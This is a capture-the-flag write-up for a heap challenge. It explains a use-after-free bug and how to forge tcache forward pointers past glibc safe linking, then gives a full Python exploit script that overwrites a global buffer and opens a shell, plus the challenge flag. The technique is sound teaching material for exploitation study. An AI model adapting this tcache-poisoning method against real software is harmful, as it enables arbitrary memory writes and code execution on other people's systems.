"I promise it is actually simple this time."



This challenge consists of a single x86_64 ELF executable.  There is also a
Dockerfile provided to allow you to setup a copy of the remote service.  I found
this particularly useful - since this challenge involves a heap allocator
vulnerability, the libc version in use is very important.  I actually couldn't
get a solution working on my dev machine and stuck to working inside this
container for the duration of the problem.



RE
--
The program operates in an infinite loop, performing actions based on the user's
selections from an invisible menu.  We can malloc, free, read from, and write to
a collection of heap-based memory regions.  There is also an extra menu option
that calls into another function to perform a "win" check - if some global
buffer contains the string "ALL HAIL OUR LORD AND SAVIOR TEEMO", the check()
function will graciously give us a shell on the system.

None of the IO allows us to overrun any memory allocations.  All calls to malloc
are for 0x67 bytes, and all reads and writes on the heap buffers are also for
up to 0x67 bytes, so we cant corrupt memory that way.  Instead, this program is
vulnerable to a Use-After-Free bug, since the free() operation fails to set any
pointers to NULL after releasing them.

If we can trick the allocator to return a pointer to the global "check" buffer,
then use the menu to let us write arbitrary data into it, we can populate it
with the magic string mentioned above, allowing check() to give us a shell.



Tcache / Forward pointers
-------------------------
It is significant that every heap allocation made by the program is of the
exact same size.  This allows us to assume that the same collection of heap
memory "chunks" will be pulled from in order to service our malloc requests.
The fact that the same bin is used throughout the lifecycle of the process is
convenient because any memory corruption we perform in a freed chunk will have
direct impact on the behavior of the allocator on our next call to malloc().

The tcache table will store pointers to what is effectively a linked-list of
freed memory chunks, available for reuse.  This forms a linked-list because it
is metadata present at the beginning of each freed chunk that points to the next
available chunk, if any.  The tcache is only formatted as a table so that it may
accommodate chunks of various sizes.

We can not modify the tcache directly since we don't have a pointer to it setup
in the program.  However, due to the program use-after-free vulnerability, we
can corrupt the forward pointers of any chunk after it becomes freed (since the
array in main still points to it).  All we have to do is encode the address of
some memory that we want to access/modify into a chunk's forward pointer.  Then,
when that chunk gets reused, our forged pointer is pulled into tcache for the
next allocation.

The forward pointers are encoded in a special way, attempting to mitigate
tampering by an attacker.  This technique is called "safe linking" and uses the
randomness of ASLR to protect the linked-list pointers like so:

    fp = (chunk_address >> 12) ^ pointer

Normally, we would be unable to forge `chunk_address` due to ASLR.  However,
this challenge allows us to read and write the chunk memory before and after
freeing, so we can leak it.



The attack
----------
We want to trick the allocator into returning a pointer to `checkbuf` so that we
can modify it with the magic string, then call check() to get a shell.

First, malloc() then free() a pointer.  This gets a chunk placed in the bin of
available chunks and leaves its pointer present in the array in main().

Read from this pointer to leak the encoded NULL pointer and recover the base
address of the chunk.

Write back to this pointer, replacing the forward pointer metadata with our own.
This pointer should reference `checkbuf`.

Call malloc again.  This should return the original chunk and injest its
metadata to the tcache.

Call malloc a final time.  This time it returns a pointer to `checkbuf`,
believing it to be the next available chunk for reuse.

Write to this pointer, to implant the magic string, then call check().

cat flag from the shell

amateursCTF{what_is_a_flag?why_am_i_even_doing_this_anymore?crazy?i_was_crazy_once...}



Solution in sploit follows

```
from nsploit.rev import *

elf = ELF("./chal")

def menu(a, b):
    io.readuntil(contains, b"> ")
    io.writeline(str(a).encode())
    io.readuntil(contains, b"> ")
    io.writeline(str(b).encode())

def malloc(x):
    menu(0, x)

def free(x):
    menu(1, x)

def read(x, data):
    menu(2, x)
    io.readuntil(contains, b"data> ")
    io.write(Payload()(data, padlen(0x67))())

def write(x):
    menu(3, x)
    io.readuntil(contains, b"data> ")
    return io.read(0x67)

def check():
    io.readuntil(contains, b"> ")
    io.writeline(b"67")

malloc(0)
free(0)

base_ptr = btoi(write(0)[:8]) << 12
print(hex(base_ptr))

crafted_ptr = (base_ptr >> 12) ^ elf.sym.checkbuf
read(0, itob(crafted_ptr))

malloc(0) # consume old chunk
malloc(1) # allocate forged ptr

read(1, b"ALL HAIL OUR LORD AND SAVIOR TEEMO\x00")

check()
io.interact()
```